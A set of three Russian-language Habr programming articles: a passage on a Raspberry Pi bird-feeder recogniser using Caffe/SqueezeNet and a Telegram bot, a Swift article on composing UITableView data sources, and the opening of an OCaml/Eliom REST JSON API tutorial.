Но она помогает создать алгоритм «первого этапа». Который поможет набрать хорошую базу.
Модифицируем детектор, который я описал выше:
```
if (d>20):
frame = frame[:, :, [2, 1, 0]] # Подготавливаем кадр
transformed_image = transformer.preprocess('data', frame) # Подготавливаем кадр
net.blobs['data'].data[0] = transformed_image # Подготавливаем сеть
net.forward() # Запускаем сеть
if (net.blobs['pool10'].data[0].argmax()!=0): # 0 - отсутствие цели
misc.imsave("base/"+str(j)+"_"+
str(net.blobs['pool10_Q'].data[0].argmax())+".jpg",frame)
j=j+1
else: #Кто-то спросит: ЗАЧЕМ?!
misc.imsave("base_d/"+str(k)+".jpg",frame)
k=k+1
```
Как набор базы!? А что же мы раньше делали?
Раньше мы набирали обычную базу. А теперь – мы набираем базу ошибок. За одно утро сетка выдала более 500 ситуаций распознанных как синицы:
 
 
Но позвольте! Может ваша сетка не работает? Может вы перепутали каналы, когда передавали изображение к от камеры к сетке?
К сожалению, нет. Это судьба всех сеток обученных на малом объёме данных (особенно у простых сетей). В тренировочном сете было всего 6-9 позиций камеры различных. Мало засветок. Мало посторонних шумов. А когда сетка видит что-то совершенно новое – она может выкинуть неверный результат.
Но это не страшно. Ведь мы прикрутили сбор базы. Всего 300-400 пустых кадров в нашу базу – и ситуация улучшается. Вместо 500 ложных тревог за утро их уже ноль. Только вот что-то и птичек продетектировалось всего 2/3 от их общего числа. Вот этих не распознало:
 
Для их сбора и стоит «else» в коде выше. Просмотреть базу срабатываний детектора движения за весь день и выбрать 2-3 пропуска просто. Для этих картинок у меня заняло времени — секунд двадцать.
Реальное внедрение системы – это постоянный рабочий процесс, где сетку приходится подкручивать каждые несколько дней. А иногда и внедрять дополнительные механизмы:
Решение задачи на практике – это построение такой схемы, со всеми процессами дообучения, переобучения, сбора и оптимизации сбора.
Придумать и выстроить модель — это сильно больше сил, чем обучить хорошую модельку. Зачастую приходится использовать древние алгоритмы: SIFT, SURF. А иногда брать обученную сетку, но совсем из другой задачи. Например детектор лиц.
Это всё? База готова? Система работает? Конечно **нет**. За окном лежит мягкий, белый и пушистый снег. Но он становиться жестким и обледеневшим. Наступает весна. В последние два дня опять попёрли ложняки:
Солнышко светит не оттуда. Снег подтаял. Капель застучала.
Хорошая база для такой задачи — это весна + зима + лето + осень. По всем птицам, по разным видам за окном, по разной погоде. Я уже писал длинную-длинную [статью](https://habrahabr.ru/post/311558/) тут про то как собирать базы.
Мне кажется, что для такой задачки требуется база хотя бы в 2-3 тысячи кадров по каждой птице в разных условиях.
Пока такого нет.
#### **Генерация базы**
Базу можно дополнять автоматическим образом, генерируя искажения. Это значительно увеличивает стабильность. Я делал не все возможные приращения. Можно сделать больше и поднять качество. Что я делал:
* Отзеркаливание картинки
* Повороты картинки на углы в пределах 15 градусов
* Кропы картинки (по 5-10%)
* Изменения яркости каналов изображения в разных комбинациях
А это можно было бы добавить:
* Гомография
* Разбивание картинки на 2 части и склеивание новой. Приращение очень неплохо заходило в [этом](https://habrahabr.ru/post/307078/) конкурсе.
* Выбивание кусков изображения квадратами разных цветов
* нелинейные преобразования
Если честно, то полноценно вводить все эти искажения не стал. Времени нужно больше. А всё равно качество базы не переплюнуть. Это не Kaggle, чтобы бороться за доли процента.
### **Настройка и запуск сети**
#### **Установка**
Один из главных вопросов, которые мне хотелось понять для себя — возможность запуска ML-фреймворков для CV на простых устройствах. Например на Raspberry Pi.
Слава богу, что кто-то подумал об этом за меня. На ГитХабе есть [полезный](https://github.com/benjibc/caffe-rpi) репозиторий почти без инструкций.
На RPi B+ Caffe и всё необходимое для него можно собрать и установить где-то за день (самому нужно подходить раз в час и пихать очередную команду). На RPi3 как я понимаю можно сильно быстрее (за 2-3 часа должен справиться).
Чтобы не захламлять статью кучей Linux-команд — просто скидываю ссылку [сюда](http://cv-blog.ru/?p=105), где я всех их описал. Caffe собирается! Работает!
Изначально я думал использовать какую-то простенькую сеточку, например [CaffeNet](https://github.com/BVLC/caffe/blob/master/models/bvlc_reference_caffenet/deploy.prototxt), или даже VGG16. Но автор порта Caffe под RPi настоятельно советовал использовать [SqueezeNet](https://github.com/DeepScale/SqueezeNet/tree/e06795b9855dafe82fa950b20ead468f83554020). Я попробовал — и мне понравилось. Быстрая, достаточно мало памяти занимает. Точность, конечно, не уровня ResNet. Первая попытка развернуть сеть не очень удалась. Сеть съела 500 МБ оперативной памяти из моих 400 свободных. Достаточно быстро понял, что основная проблема была в выходном слое. Он был от ImageNet на 1000 выводов. Мне было нужно всего десяток выходных нейронов. Это уменьшило размер сети сразу до 150 метров. Сетка сама по себе очень интересная. По точности она сопоставима с AlexNet. При этом в 50 раз быстрее, по заявлениям авторов. Сама сетка реализует следующие принципы:
1. Свёртки 3\*3 заменены на свёртки 1\*1. Каждая такая замена в 9 раз уменьшает число параметров
2. На вход оставшихся свёрток 3\*3 пробуют подавать только маленькое число каналов
3. Уменьшение размера делается как можно позднее, чтобы свёрточные слои имели большую площадь активации
4. Полный отказ от полносвязных слоёв на выходе. Вместо них используются прямые выходы на распознающие нейроны с convolution-слоя через avg-pooling
5. Добавление аналогов Residual-слоёв
Итого. Есть локальный компонент:
А есть глобальный, созданный из этих локальных:
Идеи хорошие. На RPi3 судя по всему даёт реальное время (чую, что 10-15 fps должно быть).
На моём RPi B+ это дало 1.5-2 кадра в секунду. Что ж, на большее, я, если честно, и не рассчитывал.
Авторы порта под Caffe использовали сетку через C++, чтобы повысить производительность. Но я перетащил в Питон. На нём сильно быстрее разрабатывать.
#### **Обучение сети**
Во-первых, как я сказал выше, пришлось поменять последний полносвязный слой:
```
layer {
name: "conv10_BIRD"
type: "Convolution"
bottom: "fire9/concat"
top: "conv10"
convolution_param {
num_output: 3
kernel_size: 1
weight_filler {
type: "gaussian"
mean: 0.0
std: 0.01
}
}
}
layer {
name: "conv10_Q"
type: "Convolution"
bottom: "fire9/concat"
top: "conv10_Q"
convolution_param {
num_output: 3
kernel_size: 1
weight_filler {
type: "gaussian"
mean: 0.0
std: 0.01
}
}
}
```
Я заменил его на два выхода. На одном выходе — наличие птицы + её тип. На втором — качество.
Итоговая скорость работы на RPi B+ у такой штуки ~ 2-3 секунды на кадр + его предобработку (почистить код от конвертаций лишних, обучить в формате в котором OpenCV напрямую данные принимает – будет 1.5-2 секунды).
В реальности, обучения слоя на «качество» – это та ещё морока. Я использовал три подхода (да, можно подходить корректно и брать специальные слои потерь. Но лень:
1. Девять выходных нейронов, на каждом из которых L2 регуляризация (Euclidian). Решение стянулось к центру матожидания. Незачёт.
2. Девять выходных нейронов, но по которым разбрасывается не 1-0, а некоторая величина матожидания. Например, для кадра помеченного как “4”: 0, 0, 0.1, 0.4, 0.9, 0.4, 0.1,0, 0. Ошибка по гауссу при таком подходе сглаживает шум в выборке. Обучение более-менее пошло, но точность не понравилась.
3. Три нейрона с SoftMax на выходе. «Нет птицы», «птица плохого качества» (величина “0” в метрике качества), «птица нормального качества» (величина «1-8» в метрике качества). Этот метод сработал лучше всего. Статистика средненькая, но хоть как-то работает. Плюс при обучении поставил маленький вес слою (0.1)
Оставил — последний. Он единственный который хоть как-то работал.
С птицами по базе всё хорошо. 88%-90% правильного отнесения в класс. При этом, естественно, 100% потеря всех лазоревок. После того как я добрал базу — качество улучшилось.
Ещё чуть-чуть улучшилось за счёт приращений из базы (описывал выше).
### **Вывод информации, Telegram**
Переходим к последней миле. Нужно доставить картинки пользователю. Было несколько вариантов:
* Оставлять на сетевом диске. Уныние. Посмотреть можно только дома.
* Выложить в Твиттер. Минус — я им не пользуюсь. Нет привычки. Плюс, кому нафиг нужен такой спам в ленте (иногда прилетало по 100 птичек в день)
* Почта. Пробовал, знаю. Ужасно. Нет. Конечно, я когда-то на почтовых клиентах сделал управление сетью телескопов, но больше не хотелось.
* Telegram. Нечто новое для меня, но стоит на телефоне уже пол года, использовался 5 раз.
* Сделать свой http-клиент.
Почитав про Telegram и убедившись что всё там не так уж с страшно, плюс есть некоторые загадочные «каналы» — решил использовать именно его. Приступать боялся. Казалось, что придётся удолбать день-два на задачу. Наконец собрался с духом прочитать документацию про фронт работ. Выделил час вечером.
А потом я был приятно удивлён. Несказанно приятно удивлён. Этого часа мне практически хватило, чтобы написать и подключить всё что я задумал. Нет, я конечно вру. Потратил 2 часа. А потом ещё полтора чтобы прикрутить ненужную свистелку. Настолько оно всё просто/удобно/безбажно работает. По сути сделать бота:
1. Зайти в Telegram
2. Подключить бота "@BotFather". Написать /start, дальше следовать инструкциям. Через 15 секунд у вас есть свой бот.
3. Выбрать удобный язык для программирования, найти соответствующий враппер. Я взял [питон](https://github.com/python-telegram-bot/python-telegram-bot).
4. Примеры, которые там будут — на 90% закроют нужный вам функционал.
Как я понял, очень желательна обработка команд /start и /help.
Если я когда-то буду делать умный дом — то чую, что без этой штуки не обойдётся.
Что умеет бот. Ссылка на бота будет ниже:
1. Послать по запросу последний кадр с птицей. Я разделю это на 2 команды потом: просто кадр и хороший кадр.
2. Включать режим “переслать все новые кадры с птицами с кормушки”. Каждый раз когда прилетает птичка – рассылаю всем заинтересованным людям её фоточку. Так как это всё хозяйство крутиться на Raspberry Pi – я внёс ограничение на число людей которые могу подключиться к этому режиму, чтобы не перегружать его (15 человек). При этом последних 10 человек периодически буду сбрасывать, чтобы кто-то ещё мог посмотреть. Вот в этом канале будет этот режим дублироваться – @win\_feed .
3. Сколько сегодня было птиц. Простой вопрос – простой ответ.
4. Загадочный «inline mode». Это штука в телеграмме, которая позволяет при набивке текста в любом сообщении послать запрос боту. Я не знаю зачем я его добавил. Настолько увлёкся, что не мог остановиться. В запрос я добавил вывод последних 5 фотографий с птичками. Типа «обращение к архиву». Делал скорее ради эксперимента.
Бот совмещён с распознаванием. Его текст — в исходниках. Файл capture.py.
Ссылка на бота и на канал с выводом бота — ниже, в подвале статьи.
А вот так выглядит режим спама:
### **Как развивать**
У меня есть несколько дальнейших идей, как улучшать и что делать дальше:
* Подцепить камеру от PRi. Возможно подобрать какую-то хорошую камеру конкретно под эту задачу.
* Набрать более полную базу. Повесить на другое окно, набирать базу летом. Набирать базу на даче, и.т.д.
* Сделать более одного типа птиц. Хотя бы пресловутых лазоревок.
Есть более глобальные планы. В идеале на следующую зиму хотел бы сделать кормушку, которая была бы полностью автономна. Чтобы её повесить на даче и управлять из города. Но для этого нужно решить ряд проблем. Во-первых, найти адекватного провайдера и сделать систему которая бы не выжирала безумно много трафика. Во-вторых, сделать дозатор корма, которым можно было бы удалённо управлять. В-третьих, сделать адекватную сборку всего этого чуда в единый кулёчек.
### **Бюджет времени**
Очень много из упомянутого я делал в параллельно с другими задачами. Так что оценка может смещаться. Если захотите сделать себе такое же — часть пути помогут срезать мои исходники, но очень много придётся повторять.
* Запуск старого RPI. Тестирование, проверка, подключение WiFi, подключение сетевых дисков — 3-4 часа.
* Сборка макета для наблюдения, подвешивание — 1 час
* Написание первой программы сборки базы — 0.5 часа
* Разбор базы, анализ, разметка — 5 часов, из них 2 — жена.
* Установка на RPi caffe — примерно 10-15 часов. Обновление системы, сборка Pip модулей, и.т.д. Процесс чисто в бэкграунде. Раз в час заходить проверять что собралось что нет и запускать дальше.
* Чтение мануалов по SqueezeNet, обучение, запуск сети, оптимизация, тестирование, сравнение, написание программы обучения, тесты — примерно 4-5 часа + часа 4 системного времени на обучение.
* Апдейт программы выцепления движения на распознавание — 1 час
* Telegramm бот (все время в сумме) — 4 часа
* Анализ собираемой базы, анализ работы, дополнительные обучения, и.т.д. — 3 часа + 5 часов компьютерного времени
Реально это всё дело растянулось недели на три-четыре. Мне кажется, что при наличии исходников и нового RPi — можно сделать раза в 2-3 быстрее.
### **Исходники**
Выкладываю ссылки то, как всё это выглядит в запущенном виде. Ссылки на все свои исходники в процессе. А так же ссылки на все используемые фреймворки/гайды/форумы
#### **Как затестить**
Есть несколько ограничений:
1. Распознавание и Telegram bot крутятся на raspberry pi. Понятно, что мощи у него не много. И от Хабра эффекта он возможно ляжет. Поэтому часть я специально ограничил. Ограничил я функцию «присылать свежую картинку». Это самая нагруженная функция. Всего я сделал доступ на 15 первых человек к этой функции. На 5-6 людях проверил, работает нормально. Плюс буду периодически сбрасывать, чтобы если кому-то интересно смогли её включить. Кроме того, данная функция дублируется на [этот](https://t.me/win_feed) Telegram — канал. В случае, если бот перегрузиться и хаброэффект не потянет — я зарегал ему дублирующий бот-аккаунт. Тут напишу что упал, перекину на него и не буду давать адрес. Тогда картинки можно будет смотреть только в канале. Потом верну, чтобы кто интересно — постестил.
2. Птицы. В январе они летали на кормушку постоянно. За день бывало по 200 прилётов. Но чем дальше время шло — тем меньше их становилось. Не совсем понимаю почему. То ли стайка мигрировала, то ли нашла более кошерное место для еды, то ли объелась семечками, то ли почуяла весну. На прошлой неделе прилетали по 2-3 птичка в день. А то и ни одной. Так что если подключитесь, а птиц не будет — извиняйте.
3. Бывают ложные обнаружения. Не часто, но бывают. Обычно они вызваны каким-то эффектом который. до этого не наблюдался и друг стал. Поэтому часто идут сериями. Более того. Сейчас весна. Я думаю, что как снег стает (через 2-3 дня) — либо ложняков попрёт в десятки раз больше, либо пропускать будет.
4. Птички летают в пределах от 8 часов утра до 18 вечера (время Московское).
5. Кормушка не будет постоянно работать. Хочу разобрать железяку и усовершенствовать. Плюс- скоро снег растает. Неделю продержу включённым, потом буду отключать. Точно верну следующей зимой, скорее всего в сильно более адекватном виде.
Надеюсь, вас напугал.
Вот ссылка на бота — @WindowFeeder\_bot
А вот ещё раз канал — [t.me/win\_feed](https://t.me/win_feed)
#### **Source code**
[Репозиторий](https://github.com/ZlodeiBaal/BirdProject) проекта.
[Тут](https://github.com/ZlodeiBaal/BirdProject/tree/master/SortBase) — программы для разметки базы. Под винду и под убунту (почему-то OpenCV по разному воспринимает коды клавиатуры, было лень запариваться).
[Тут](https://github.com/ZlodeiBaal/BirdProject/tree/master/SqNet) — пример обучения сети. На мой взгляд очень полезный для Caffe. Когда я что-то обучаю сам, то зачастую получается какая-то похожая программка такого типа.
[Это](https://github.com/ZlodeiBaal/BirdProject/blob/master/capture.py) — основной код. Тут реализован: детектор движения, бот Telegram, нейронная сетка для распознавания.
[Тут](https://yadi.sk/d/Wf0kaFZa3G9tNK) база фотографий. Для большинства фотографий есть текстовый файл. В нём две цифры. Первая — тип птицы. Вторая — качество снимка (актуально только когда птица есть). Так же есть картинки без текстовичков. Там всегда нет птицы. Часть базы я взял из VOC2012, чтобы создать подвыборку с изображениями совсем не относящимися к теме. Так что увидите кошечек или собачек — не удивляйтесь.
Если наберёте свою базу, то добавка моей должна повысить стабильность.
#### **Инструкции, полезные команды, и.т.д.**
Достаточно большой объём подробностей по настройке RPi я срезал в этой статье. В своём блоге я чуть более подробно рассказывал про некоторый этапы настройки.
Плюс тут я отрезал часть идей которые не получили продолжения — там они есть. Всего 4 заметки по теме: [1](http://cv-blog.ru/?p=89), [2](http://cv-blog.ru/?p=105), [3](http://cv-blog.ru/?p=115), [4](http://cv-blog.ru/?p=135).
Версия Caffe под Raspberry Pi утащена [отсюда](https://github.com/benjibc/caffe-rpi).
Там почти нет описания по установке. Можно читать в моём блоге, можно пробовать по наиболее близкому [гайду](https://github.com/BVLC/caffe/wiki/Ubuntu-16.04-or-15.10-Installation-Guide) действовать (пропуская кусок с hdf5).
Гайд по запуску [OpenCV](http://www.pyimagesearch.com/2015/02/23/install-opencv-and-python-on-your-raspberry-pi-2-and-b/) на RPi.
Полезная [инструкция](https://habrahabr.ru/post/262247/) по созданию бота в Телеграмме. А вообще, большую часть сэмплов про него я брал [отсюда](https://github.com/python-telegram-bot/python-telegram-bot). Хороший репозиторий (API под Python).
З.Ю.
----
Если вдруг кто-то хочет чтобы у него птички распознавались, есть RPI, но нет развернутого компа, чтобы обучить сетку на своих данных — присылайте базу, размеченную в указанном формате. Переобучу с добавлением своей, выложу в общий доступ.
З.Ю.Ю.
------
Очень боялся, что сегодня никто из птичек не прилетит и будет обломно. Выложил статью — и пусто. Но одна всё же уже прилетела, порадовала. Может будут ещё.
З.Ю.Ю.Ю.
--------
В последнее время делаю много мелких статей/видеороликов. Но так как это не формат Хабра — то публикую их в [блоге](http://cv-blog.ru/) или на [ютубе](https://www.youtube.com/channel/UC13sOcgmqv_1VtYpP24wVUw/). Трансляция всего есть в [телеге](https://t.me/CVML_team) и [вк](https://vk.com/cvml_team).
На Хабре обычно публикую, когда рассказ становится уже более самозамкнутым, иногда собрав 2-3 разных мини-рассказа на соседние темы.
 | https://habr.com/ru/post/322520/ | null | ru | null |
# Композитный «datasource»-объект и элементы функционального подхода
Как-то раз я (ну ладно, даже не я) столкнулся с задачей добавить в `[UICollectionView](https://developer.apple.com/documentation/uikit/uicollectionview)` с определенным типом ячеек одну ячейку совершенно другого типа, причем делать это лишь в особенном случае, который обрабатывается «выше» и никак не зависит от `UICollectionView` напрямую. Задача эта породила, если мне не изменяет память, пару-тройку уродливых [`if`-`else`](https://docs.swift.org/swift-book/ReferenceManual/Statements.html#grammar_if-statement)-блоков внутри методов `[UICollectionViewDataSource](https://developer.apple.com/documentation/uikit/uicollectionviewdatasource)` и `[UICollectionViewDelegate](https://developer.apple.com/documentation/uikit/uicollectionviewdelegate)`, которые благополучно осели в «production»-коде и, наверное, никуда оттуда уже не денутся.
В рамках упомянутой задачи смысла продумывать какое-либо более элегантное решение, тратить на это время и «думательную» энергию, не было. Тем не менее эта история мне запомнилась: я размышлял над тем, чтобы попробовать реализовать некий «datasource»-объект, который бы мог составляться из любого числа других «datasource»-объектов в единое целое. Решение, очевидно, должно быть обобщенным, подходить для любого числа составляющих (включая ноль и один) и не зависеть от конкретных типов. Оказалось, что это не только реально, но и не слишком сложно (хотя сделать код при этом еще и «красивым» – немного труднее).
Я покажу то, что у меня получилось на примере `[UITableView](https://developer.apple.com/documentation/uikit/uitableview)`. При желании, написать аналогичный код для `UICollectionView` затруднений составить не должно.
«Идея всегда важнее своего воплощения»
--------------------------------------
*Этот афоризм принадлежит великому автору комиксов [Алану Муру](https://en.wikipedia.org/wiki/Alan_Moore) ([«Хранители»](https://en.wikipedia.org/wiki/Watchmen), [«V – значит вендетта»](https://en.wikipedia.org/wiki/V_for_Vendetta), [«Лига выдающихся джентльменов»](https://en.wikipedia.org/wiki/The_League_of_Extraordinary_Gentlemen)), но это не совсем про программирование, правда?*
Основная идея моего подхода – это хранить массив объектов `[UITableViewDataSource](https://developer.apple.com/documentation/uikit/uitableviewdatasource)`, возвращать их суммарное количество секций и иметь возможность при обращении к секции определить, какому из оригинальных «datasource»-объектов перенаправить это обращение.
Протокол `UITableViewDataSource` уже имеет необходимые методы для получения количества секций, строк и т.п., но, к сожалению, в данном случае пользоваться ими я нашел крайне неудобным из-за необходимости передачи в качестве одного из аргументов ссылки на конкретный экземпляр `UITableView`. Поэтому я решил расширить стандартный протокол `UITableViewDataSource` парой дополнительных простых членов:
```
protocol ComposableTableViewDataSource: UITableViewDataSource {
var numberOfSections: Int { get }
func numberOfRows(for section: Int) -> Int
}
```
А композитный «datasource» получился простым классом, который реализует требования `UITableViewDataSource` и инициализируется всего с одним аргументом – набором конкретных экземпляров `ComposableTableViewDataSource`:
```
final class ComposedTableViewDataSource: NSObject, UITableViewDataSource {
private let dataSources: [ComposableTableViewDataSource]
init(dataSources: ComposableTableViewDataSource...) {
self.dataSources = dataSources
super.init()
}
private override init() {
fatalError("\(#file) \(#line): Initializer with parameters must be used.")
}
}
```
Теперь остается только написать реализации всех методов протокола `UITableViewDataSource` таким образом, чтобы они ссылались на методы соответствующих составляющих.
«Это было правильное решение. Моё решение»
------------------------------------------
*Эти слова принадлежали [Борису Николаевичу Ельцину](https://ru.wikipedia.org/wiki/%D0%95%D0%BB%D1%8C%D1%86%D0%B8%D0%BD,_%D0%91%D0%BE%D1%80%D0%B8%D1%81_%D0%9D%D0%B8%D0%BA%D0%BE%D0%BB%D0%B0%D0%B5%D0%B2%D0%B8%D1%87), первому [президенту](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B5%D0%B7%D0%B8%D0%B4%D0%B5%D0%BD%D1%82) [Российской Федерации](https://ru.wikipedia.org/wiki/%D0%A0%D0%BE%D1%81%D1%81%D0%B8%D1%8F), и не очень относятся к тексту ниже, просто они мне понравились.*
Правильным решением мне показалось воспользоваться [функциональными](https://en.wikipedia.org/wiki/Functional_programming) возможностями языка [Swift](https://swift.org), и это действительно оказалось удобно.
Для начала реализуем метод, возвращающий количество секций – это несложно. Как уже упоминалось выше, нам всего лишь нужно полное количество всех секций составляющих:
```
func numberOfSections(in tableView: UITableView) -> Int {
// Default value if not implemented is "1".
return dataSources.reduce(0) { $0 + ($1.numberOfSections?(in: tableView) ?? 1) }
}
```
(Пояснять синтаксис и значение стандартных функций я не буду. Если это требуется, интернет пестрит [неплохими](https://raywenderlich.com/9222-an-introduction-to-functional-programming-in-swift) [вводными](https://medium.com/@sdrzn/functional-programming-in-swift-221a8cabb8c) [статьями](https://medium.com/@geisonfgfg/functional-swift-41f1bed646d) [на тему](https://blog.usejournal.com/functional-programming-in-swift-fe241e114867). А еще могу посоветовать [довольно хорошую книгу](https://www.objc.io/books/functional-swift).)
Бегло просмотрев все методы `UITableViewDataSource`, можно заметить, что в качестве аргументов они принимают лишь ссылку на таблицу и значение либо номера секции, либо соответствующего строке `[IndexPath](https://developer.apple.com/documentation/foundation/indexpath)`. Напишем несколько помощников, которые будут нам полезны при реализации всех остальных методов протокола.
Во-первых, все задачи можно свести к [«generic»](https://docs.swift.org/swift-book/LanguageGuide/Generics.html#ID181)-функции, которая принимает в качестве аргументов ссылку на конкретный `ComposableTableViewDataSource` и значение номера секции либо `IndexPath`. Для удобства и краткости назначим типам этих функций [псевдонимы](https://docs.swift.org/swift-book/ReferenceManual/Declarations.html#ID361). Плюс, для дополнительной удобочитаемости, я предлагаю объявить псевдоним и для номера секции:
```
private typealias SectionNumber = Int
private typealias AdducedSectionTask = (\_ composableDataSource: ComposableTableViewDataSource, \_ sectionNumber: SectionNumber) -> T
private typealias AdducedIndexPathTask = (\_ composableDataSource: ComposableTableViewDataSource, \_ indexPath: IndexPath) -> T
```
(Выбранные имена я объясню чуть ниже.)
Во-вторых, реализуем простую функцию, которая по номеру секции `ComposedTableViewDataSource` определяет конкретный `ComposableTableViewDataSource` и соответствующий номер его секции:
```
private func decompose(section: SectionNumber) -> (dataSource: ComposableTableViewDataSource, decomposedSection: SectionNumber) {
var section = section
var dataSourceIndex = 0
for (index, dataSource) in dataSources.enumerated() {
let diff = section - dataSource.numberOfSections
dataSourceIndex = index
if diff < 0 { break } else { section = diff }
}
return (dataSources[dataSourceIndex], section)
}
```
Возможно, если подумать чуть дольше моего, реализация получится более элегантной и менее прямолинейной. Например, коллеги сразу предложили мне реализовать в этой функции [двоичный поиск](https://en.wikipedia.org/wiki/Binary_search_algorithm) (предварительно, например, при инициализации, составив индекс числа секций – простой [массив](https://developer.apple.com/documentation/swift/array) из [целых чисел](https://developer.apple.com/documentation/swift/int)). Или вовсе потратить немного времени на составление и памяти на хранение таблицы соответствий номеров секций – зато потом вместо постоянного использования метода с [временной сложностью](https://en.wikipedia.org/wiki/Time_complexity) O(n) или O(log n) можно будет получать результат ценой O(1). Но я решил воспользоваться советом великого [Дональда Кнута](https://en.wikipedia.org/wiki/Donald_Knuth) не заниматься преждевременной оптимизацией без видимой надобности и соответствующих замеров. Да и не об этом статья.
И, наконец, функции, которые принимают обозначенные выше `AdducedSectionTask` и `AdducedIndexPathTask` и «перенаправляют» их конкретным экземплярам `ComposedTableViewDataSource`:
```
private func adduce(\_ section: SectionNumber,
\_ task: AdducedSectionTask) -> T {
let (dataSource, decomposedSection) = decompose(section: section)
return task(dataSource, decomposedSection)
}
private func adduce(\_ indexPath: IndexPath,
\_ task: AdducedIndexPathTask) -> T {
let (dataSource, decomposedSection) = decompose(section: indexPath.section)
return task(dataSource, IndexPath(row: indexPath.row, section: decomposedSection))
}
```
А теперь можно объяснить выбранные мной названия для этих всех функций. Все просто: они отражают функциональный стиль именования. Т.е. мало что означают буквально, зато звучат внушительно.
Последние две функции выглядят почти как близнецы, но, немного подумав, я оставил попытки избавиться от дублирования кода, потому что это приносило больше неудобств, чем преимуществ: пришлось выводить или передавать функции преобразования к номеру секции и обратно в исходный тип. К тому же вероятность переиспользования этого обобщенного подхода стремится к нулю.
Все эти приготовления и помощники дают неимоверное преимущество в реализации, собственно, методов протокола. Методы конфигурации таблицы:
```
func tableView(_ tableView: UITableView,
titleForHeaderInSection section: Int) -> String? {
return adduce(section) { $0.tableView?(tableView, titleForHeaderInSection: $1) }
}
func tableView(_ tableView: UITableView,
titleForFooterInSection section: Int) -> String? {
return adduce(section) { $0.tableView?(tableView, titleForFooterInSection: $1) }
}
func tableView(_ tableView: UITableView,
numberOfRowsInSection section: Int) -> Int {
return adduce(section) { $0.tableView(tableView, numberOfRowsInSection: $1) }
}
func tableView(_ tableView: UITableView,
cellForRowAt indexPath: IndexPath) -> UITableViewCell {
return adduce(indexPath) { $0.tableView(tableView, cellForRowAt: $1) }
}
```
Вставка и удаление строк:
```
func tableView(_ tableView: UITableView, commit editingStyle: UITableViewCell.EditingStyle, forRowAt indexPath: IndexPath) {
return adduce(indexPath) { $0.tableView?(tableView, commit: editingStyle, forRowAt: $1) }
}
func tableView(_ tableView: UITableView,
canEditRowAt indexPath: IndexPath) -> Bool {
// Default if not implemented is "true".
return adduce(indexPath) { $0.tableView?(tableView, canEditRowAt: $1) ?? true }
}
```
Аналогичным способом можно реализовать поддержку заголовков индекса секций. В этом случае вместо номера секции оперировать придется индексом заголовка. Также, скорее всего, будет полезно для этого добавить дополнительное поле в протокол `ComposableTableViewDataSource`. Я оставил эту часть за пределами материала.
«Невозможное сегодня станет возможным завтра»
---------------------------------------------
*Это слова российского ученого [Константина Эдуардовича Циолковского](https://ru.wikipedia.org/wiki/%D0%A6%D0%B8%D0%BE%D0%BB%D0%BA%D0%BE%D0%B2%D1%81%D0%BA%D0%B8%D0%B9,_%D0%9A%D0%BE%D0%BD%D1%81%D1%82%D0%B0%D0%BD%D1%82%D0%B8%D0%BD_%D0%AD%D0%B4%D1%83%D0%B0%D1%80%D0%B4%D0%BE%D0%B2%D0%B8%D1%87), основоположника теоретической космонавтики.*
Во-первых, представленное решение не поддерживает перетаскивание строк. Изначальный замысел включал поддержку перетаскивания в пределах одного из составляющих «datasource»-объектов, но, к сожалению, это невозможно реализовать при помощи только лишь `UITableViewDataSource`. Методы этого протокола определяют, можно ли «перетаскивать» конкретную строку и получают «коллбэк» по окончании перетаскивания. А обработка самого события подразумевается внутри методов `[UITableViewDelegate](https://developer.apple.com/documentation/uikit/uitableviewdelegate)`.
Во-вторых, что важнее, необходимо продумать механизмы обновления данных на экране. Думаю, реализовать это можно, объявив протокол делегата `ComposableTableViewDataSource`, методы которого будут реализовываться `ComposedTableViewDataSource` и получать сигнал о том, что исходный «datasource» получил обновление. Остаются открытыми два вопроса: как внутри `ComposedTableViewDataSource` надежно определить, какой именно `ComposableTableViewDataSource` изменился и каким именно образом – это отдельная и не самая тривиальная задача, но имеющая ряд решений (например, [такое](https://github.com/tonyarnold/Differ)). И, конечно, понадобится протокол делегата `ComposedTableViewDataSource`, методы которого будут вызываться при обновлении составного «datasource» и реализовываться клиентским типом (например, [контроллером](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller) или [вью-моделью](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93viewmodel)).
Надеюсь со временем исследовать эти вопросы лучше и покрыть их во второй части статьи. А пока, тешусь, вам было любопытно почитать об этих экспериментах!
P.S.
----
Буквально на днях мне пришлось залезть в код упомянутый во вступлении для его модификации: понадобилось поменять местами ячейки тех двух типов. Если кратко, то пришлось помучиться и «подебажить» постоянно возникающие в разных местах `Index out of bounds`. При использовании описанного подхода понадобилось бы лишь поменять местами два «datasource»-объекта в массиве, передаваемом в качестве аргумента инициализатора.
**Ссылки:**
– [Playgroud с полным кодом и примером](https://github.com/lazarevzubov/composed_data_source)
– [Мой Twitter](https://twitter.com/lazarevzubov) | https://habr.com/ru/post/442138/ | null | ru | null |
# OCaml и RESTful JSON API с использованием Eliom
Привет, Хабр! Представляю вашему вниманию перевод руководства [RESTful JSON API using Eliom](http://ocsigen.org/tuto/4.0/manual/rest).
В этом руководстве рассказывается, как создать простой, но полный REST API с использованием JSON в качестве формата сериализации.
Чтобы проиллюстрировать наш пример, предположим, что мы хотим предоставить доступ к базе данных местоположений, хранящих описание и координаты (широта и долгота).
Чтобы быть RESTful, наш интерфейс будет соответствовать следующим принципам:
* URL-адреса и GET-параметры определяют ресурсы
* Методы HTTP (GET, POST, PUT, DELETE) используются для определения действий
* Действие GET безопасно (без побочных эффектов)
* Действия PUT и DELETE являются идемпотентными
* Запросы являются stateless (в период между запросами клиента никакая информация о состоянии клиента на сервере не хранится)
Имея это в виду, наша цель будет заключаться в реализации функций CRUD (Create, Read, Update, Delete) для обработки наших ресурсов. Мы хотим, чтобы следующие запросы были действительными:
**GET** http:// localhost/ вернет все доступные местоположения.
**GET** http:// localhost/ID вернет местоположение, связанное с ID.
**POST** http:// localhost/ID с содержимым:
```
{
"description": "Paris",
"coordinates": {
"latitude": 48.8567,
"longitude": 2.3508
}
}
```
сохранит это местоположение в базе данных.
**PUT** http:// localhost/ID, с некоторым содержимым, обновит местоположение, связанное с идентификатором.
**DELETE** http:// localhost/ID удалит местоположение, связанное с ID.
Зависимости
-----------
* [eliom](http://ocsigen.org/eliom/) >= 4.0
* [yojson](https://github.com/mjambon/yojson)
* [deriving-yojson](https://github.com/hhugo/deriving-yojson)
Предполагается что вы уже знакомы с [Eliom](http://ocsigen.org/eliom/), это нужно что бы понять туториал полностью. Этот туториал не является введением в Eliom.
